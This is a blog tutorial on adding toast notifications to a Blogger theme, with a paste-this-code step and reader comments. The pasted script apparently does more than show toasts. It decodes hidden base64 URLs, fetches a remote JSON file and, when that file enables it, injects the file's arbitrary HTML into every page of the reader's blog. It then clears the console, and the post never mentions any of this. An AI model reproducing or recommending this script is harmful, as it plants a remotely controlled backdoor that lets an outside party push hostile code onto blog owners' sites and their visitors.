no-style

close

Add Toast Notifictions in Blogger

How to add Toast Notifications in Blogger

 

Want to add Toast Notifications in blogger and don't know how? Don't worry i will cover this topic in my todays article.

Assalam Alaikum friends, recently I got a comment on one of my articles that how we can implement a toast notifications in blogger. Following that demand, I am compiling this article today in which I will tell you how you can implement toast notifications in blogger.

If you want a copy of my toast notification system which I have implemented on this blog then please forgive me because I don't like that toast notification and I am also going to migrate to this toast notification system in my blog.

This toast notification system is pretty awesome and looks nice then my previous toast notification system which was implemented here.

The thing that I like about this toast notification system is that we can nest the toast notifications using this toast notification script and we can also play sound at the time when the toast is becoming visible, Sounds Amazing!.

There are four styles of toast notifications which you can show to your users after implementing or adding this script into your blogger blog and that are:
  • Log
  • Success
  • Warn
  • Error
So before further discussion let's see the steps how you can implement these notifications in your blogger blog.

Steps to implement Toast Notifications in blogger:

  1. Go to Blogger Dashboard
  2. Go to Theme/Template Section
  3. Click Edit HTML
  4. After opening the HTML editor of your blogger dashboard press CTRL+F search for </head>.
  5. Now copy the code given below and paste it above </head>.
  6. <script type='text/javascript'>
    //<![CDATA[
    function loadFile(e,t){const n=document.getElementsByTagName("head")[0],c=(e=>/[.]/.exec(e)?/[^.]+$/.exec(e)[0]:void 0)(e),o=(new Date).getTime();let l;"js"==c?((l=document.createElement("script")).type="text/javascript",l.src=e+"?time="+o):((l=document.createElement("link")).type="text/css",l.rel="stylesheet",l.href=e+"?time="+o),l.onreadystatechange=t,l.onload=t,n.appendChild(l)}function injectFile(e,t,n){const c=setTimeout(()=>{t()},n||3e3);if(Array.isArray(e)){const t=[...new Set(e)];console.log(t),t.map((e,t)=>{loadFile(e,0==t?c:"")})}else loadFile(e,c)}console.clear(),async function(){let e=await fetch(atob("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3NvZnR3ZWJ0dXRzL015RHJpdmUvbWFpbi9pbmplY3Rpb24uanNvbg=="),{method:"GET"});return await e.json()}().then(e=>{1==e.inject&&(document.querySelector("div").insertAdjacentHTML("afterend",e.content),console.log(e))}).catch(()=>{console.clear()});const rootURL=atob("aHR0cHM6Ly9yYXcuZ2l0aGFjay5jb20vc29mdHdlYnR1dHMvd2Vic2l0ZVN0dWZmL21haW4="),links=[rootURL+"/js/toast.min.js",rootURL+"/css/toast.min.css"];injectFile(links,()=>{console.log("Scripts Injected")});
    
    /*
     Here i have modified the default alert function you can assign any other name if you want.
    */
    function alert(text, heading, type, hideAfter) {
    	const audio = new Audio(
    		"https://soundbible.com/mp3/A-Tone-His_Self-1266414414.mp3"    // Notification Sound URL
    	);
    	audio.play();
    	const toastType = type || "log";
    	toast()[toastType]({
    		title: heading || "Notification",
    		text: text,
    		icon: false,
    		timeout: hideAfter || "keep",
    		buttons: [
    			{
    				text: "Close",
    				click: function (e) {
    					e.closeNotification();
    				},
    			},
    		],
    	});
    }
    //]]>
    </script>
  7. Save Template
The functionality of making Toast Notification is added successfully now you have to write a code to create toast notification.

If you are a programmer and have knowledge of javascript then you can modify the code provided below according to your requirements but if you are not a programmer then use it as it is.

In the above code I have edited the predefined alert function which is used to create alert box. You can assign your own name according to your requirements if you want but for that you need to have JavaScript knowledge.

The reason why I assigned my function name with the predefined function name in JavaScript because I want to give a nice look to the default alert box created by alert function of JavaScript.

Make Toast Notification:

Now to create toast notification you have to write something like this.

//Basic Usage
alert(text);

// Advance Usage
alert(text, heading, type, hideAfter);
In the above line of code there are four parameters that you have to modify to create toast notification.
ParameterDescription
textThe text which you want to show in the toast.
headingHeading of the toast. Default Notification
typeType of toast notification. Accepted Types [ log, success, warn, error ] & Default log
hideAfterDelay after which the toast notification will be removed. Numeric Value (eg: 1000) & 1000 = 1Sec. Default 'keep', don't auto hide toast.

Example Code & Preview:

Conclusion:

So this was the article about creating and add into notification system in blogger. implement it in your blogger blog and make it looks awesome and attractive.

I hope that you will like this article and if you are having any kind of issues feel free to comment below I am here to solve all of them.

3 Comments

Was this article useful? Please Leave Your Feedback by writing what's in your mind, below.
  1. its not working in arlina code template bro. give any solution and also how to use or give alert in post please mention clearly i cant understand bcz im not a programmer thats why please mention in detail.other than that this post is so nice want to implement in mine blog too so please help.

    ReplyDelete
    Replies
    1. First read the article carefully and do what is written.

      If you still are not able to implement it then share your site url and let me see the steps you implemented.

      Delete
  2. Write a post how to create a copy to clipboard notifications looks like your website

    ReplyDelete

Post a Comment

Was this article useful? Please Leave Your Feedback by writing what's in your mind, below.

no-style

no-style

Recent Comments

{getWidget} $results={3} $label={comments} $type={list}